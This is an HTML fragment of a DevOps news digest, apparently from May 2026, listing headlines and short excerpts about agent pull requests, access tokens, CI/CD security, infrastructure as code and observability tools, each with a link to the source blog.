        </h3><p>A practical guide to reviewing agent-generated pull requests: what to look for, where issues hide, and how to catch technical debt before it ships. The post Agent pull requests are everywhere. Here’s </p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/ai-and-ml/generative-ai/agent-pull-requests-are-everywhere-heres-how-to-review-them/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-limit-credential-exposure-with-fine-grained-personal-access-tokens" class="group relative scroll-mt-24">
        <a href="#h3-limit-credential-exposure-with-fine-grained-personal-access-tokens" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Limit credential exposure with fine-grained personal access tokens
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-limit-credential-exposure-with-fine-grained-personal-access-tokens"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Personal access tokens (PATs) authenticate most of the automation that runs in GitLab. When a token is issued with a broad scope like api or read_api, it extends permissions across many projects and g</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/fine-grained-pats/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-automate-deployment-processes-using-a-custom-agent-in-gitlab-duo-agent-platform" class="group relative scroll-mt-24">
        <a href="#h3-automate-deployment-processes-using-a-custom-agent-in-gitlab-duo-agent-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Automate deployment processes using a custom agent in GitLab Duo Agent Platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-automate-deployment-processes-using-a-custom-agent-in-gitlab-duo-agent-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every engineering organization has those tasks: complex, repetitive, and time-consuming, but absolutely critical to get right. Onboarding a new microservice into an established GitOps deployment workf</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/automate-deployment-with-duo-agent-platform/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-harness-release-orchestration-enterprise-release-management" class="group relative scroll-mt-24">
        <a href="#h3-harness-release-orchestration-enterprise-release-management" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Harness Release Orchestration: Enterprise Release Management
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-harness-release-orchestration-enterprise-release-management"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Harness Release Orchestration provides unified modeling, scheduling, and tracking for complex software releases. Eliminate spreadsheets, automate workflows, and maintain complete audit trails. | Blog</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/introducing-harness-release-orchestration"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-q1-2026-product-update-harness-pipeline" class="group relative scroll-mt-24">
        <a href="#h3-q1-2026-product-update-harness-pipeline" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Q1 2026 Product Update: Harness Pipeline
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-q1-2026-product-update-harness-pipeline"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Q1 2026 brings Git tags for immutable pipeline versions, AI-assisted OPA policy authoring, DAG execution Phase 2, and step-specific failure notifications to Harness Pipelines. | Blog</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/q1-2026-product-update-harness-pipeline"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-securing-cicd-for-an-open-source-project-lessons-from-cilium" class="group relative scroll-mt-24">
        <a href="#h3-securing-cicd-for-an-open-source-project-lessons-from-cilium" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Securing CI/CD for an open source project: lessons from Cilium
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-securing-cicd-for-an-open-source-project-lessons-from-cilium"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>📅 May 6, 2026</strong> • <strong>📰 Cilium Blog</strong></p>
<p><a href="https://cilium.io/blog/2026/05/06/securing-cicd-open-source-lessons-from-cilium"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-claude-code-and-gitlab-three-workflows-that-ship" class="group relative scroll-mt-24">
        <a href="#h3-claude-code-and-gitlab-three-workflows-that-ship" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Claude Code and GitLab: Three workflows that ship
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-claude-code-and-gitlab-three-workflows-that-ship"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Developers love Claude Code because it feels like pairing with a senior engineer right in the terminal or IDE: it helps you understand unfamiliar code, propose fixes, and scaffold new features quickly</p>
<p><strong>📅 May 6, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/claude-code-and-gitlab/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-aws-service-catalog-is-now-available-in-the-aws-asia-pacific-new-zealand-and-canada-west-calgary-regions" class="group relative scroll-mt-24">
        <a href="#h3-aws-service-catalog-is-now-available-in-the-aws-asia-pacific-new-zealand-and-canada-west-calgary-regions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Service Catalog is now available in the AWS Asia Pacific (New Zealand) and Canada West (Calgary) regions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-service-catalog-is-now-available-in-the-aws-asia-pacific-new-zealand-and-canada-west-calgary-regions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AWS Service Catalog is now available to customers in two additional AWS Regions: Asia Pacific (New Zealand) and Canada West (Calgary). AWS Service Catalog enables customers to create, govern, and dist</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/aws-service-catalog-calgary-new-zealand-regions/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-dark-factory-pattern-for-infrastructure-running-pulumi-lights-out" class="group relative scroll-mt-24">
        <a href="#h3-the-dark-factory-pattern-for-infrastructure-running-pulumi-lights-out" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Dark Factory Pattern for Infrastructure: Running Pulumi Lights-Out
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-dark-factory-pattern-for-infrastructure-running-pulumi-lights-out"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The original dark factory was Fanuc’s robotics plant in Oshino, Japan, where the lights are off because nobody is on the floor. Robots build robots. Parts move through the line for weeks at a time wit</p>
<p><strong>📅 May 5, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/dark-factory-pattern-pulumi-autonomous-iac/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-how-open-source-dependency-and-repo-attacks-compromise-devops-pipelines-and-how-to-stay-safe" class="group relative scroll-mt-24">
        <a href="#h3-how-open-source-dependency-and-repo-attacks-compromise-devops-pipelines-and-how-to-stay-safe" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Open Source Dependency and Repo Attacks Compromise DevOps Pipelines and How to Stay Safe
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-open-source-dependency-and-repo-attacks-compromise-devops-pipelines-and-how-to-stay-safe"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Modern applications rely on open source components for up to 90% of their code, creating a vast attack surface dominated by inhemalicious supply chain injections. High-profile incidents like Log4j and</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/how-open-source-dependency-and-repo-attacks-compromise-devops-pipelines-and-how-to-stay-safe/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-llm-observability-tutorial-best-practices" class="group relative scroll-mt-24">
        <a href="#h3-llm-observability-tutorial-best-practices" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 LLM Observability: Tutorial & Best Practices
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-llm-observability-tutorial-best-practices"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>LLM observability analyzes how models behave across development, testing, and production.</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/llm-observability/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-prometheus-couldnt-see-cilium-metrics-at-2-am" class="group relative scroll-mt-24">
        <a href="#h3-why-prometheus-couldnt-see-cilium-metrics-at-2-am" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why Prometheus couldn’t see Cilium metrics at 2 a.m.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-prometheus-couldnt-see-cilium-metrics-at-2-am"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I still remember the first time we lost sleep over something that wasn’t a bug. It was a Tuesday. Grafana The post Why Prometheus couldn’t see Cilium metrics at 2 a.m. appeared first on The New Stack.</p>
<p><strong>📅 May 10, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/cncf-projects-integration-production/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-connect-adds-default-step-by-step-guides-for-after-contact-work" class="group relative scroll-mt-24">
        <a href="#h3-amazon-connect-adds-default-step-by-step-guides-for-after-contact-work" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Connect adds default Step-by-Step Guides for After Contact Work
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-connect-adds-default-step-by-step-guides-for-after-contact-work"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Connect now supports Default Guides for After Contact Work (ACW), enabling contact center administrators to automatically launch a Step-by-Step Guide when an agent enters the ACW state without </p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-connect-adds-default-step-by-step-guides-for-after-contact-work"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-an-end-to-end-agentic-sre-using-aws-devops-agent" class="group relative scroll-mt-24">
        <a href="#h3-building-an-end-to-end-agentic-sre-using-aws-devops-agent" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building an end-to-end agentic SRE using AWS DevOps Agent
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-an-end-to-end-agentic-sre-using-aws-devops-agent"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Introduction As modern applications evolve into complex ecosystems of serverless functions, microservices, and event-driven architectures, incident response becomes increasingly challenging. DevOps an</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 AWS DevOps Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/devops/building-an-end-to-end-agentic-sre-using-aws-devops-agent/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-monitor-unreal-engine-game-performance-with-application-metrics" class="group relative scroll-mt-24">
        <a href="#h3-monitor-unreal-engine-game-performance-with-application-metrics" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Monitor Unreal Engine Game Performance with Application Metrics
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-monitor-unreal-engine-game-performance-with-application-metrics"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Unreal SDK now auto-instruments FPS, frame time, network health, and game stats, giving your team real player performance data in production.</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/unreal-engine-performance-metrics/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-eliminate-noisy-log-lines-with-adaptive-logs-drop-rules" class="group relative scroll-mt-24">
        <a href="#h3-eliminate-noisy-log-lines-with-adaptive-logs-drop-rules" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Eliminate noisy log lines with Adaptive Logs drop rules
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-eliminate-noisy-log-lines-with-adaptive-logs-drop-rules"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most platform and observability teams have logs they know are noise. These could be throwaway health check logs, forgotten DEBUG logs, or verbose INFO logs from little used services that only serve to</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/eliminate-noisy-log-lines-with-adaptive-logs-drop-rules/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-guide-to-end-to-end-unified-infrastructure-monitoring-2026" class="group relative scroll-mt-24">
        <a href="#h3-guide-to-end-to-end-unified-infrastructure-monitoring-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Guide to End-to-End Unified Infrastructure Monitoring (2026)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-guide-to-end-to-end-unified-infrastructure-monitoring-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Explore how unified infrastructure monitoring consolidates telemetry for faster, clearer insights—reducing incident response time and improving system reliability.</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/infrastructure-monitoring/end-to-end-unified-infrastructure-monitoring-2026"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-5-best-distributed-tracing-tools-to-debug-microservices-faster" class="group relative scroll-mt-24">
        <a href="#h3-5-best-distributed-tracing-tools-to-debug-microservices-faster" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 5 Best Distributed Tracing Tools to Debug Microservices Faster
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-best-distributed-tracing-tools-to-debug-microservices-faster"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Discover how distributed tracing tools improve microservices observability, helping you debug, optimize, and maintain complex systems efficiently.</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/apm/distributed-tracing-tools"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-5-top-observability-tools-for-unified-visibility-faster-resolution" class="group relative scroll-mt-24">
        <a href="#h3-5-top-observability-tools-for-unified-visibility-faster-resolution" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 5 Top Observability Tools For Unified Visibility & Faster Resolution
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-top-observability-tools-for-unified-visibility-faster-resolution"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how to choose and implement observability tools that reduce MTTR and improve engineering flow with a unified, data-driven approach.</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/observability/observability-tools"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-5-top-database-monitoring-tools-for-reducing-mttr-preventing-outages" class="group relative scroll-mt-24">
        <a href="#h3-5-top-database-monitoring-tools-for-reducing-mttr-preventing-outages" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 5 Top Database Monitoring Tools for Reducing MTTR & Preventing Outages
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-top-database-monitoring-tools-for-reducing-mttr-preventing-outages"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Discover how the right database monitoring tools deliver intelligent insights, reduce noise, and help you prevent outages before they impact your business.</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/infrastructure-monitoring/database-monitoring-tools"><strong>🔗 Read more</strong></a></p>
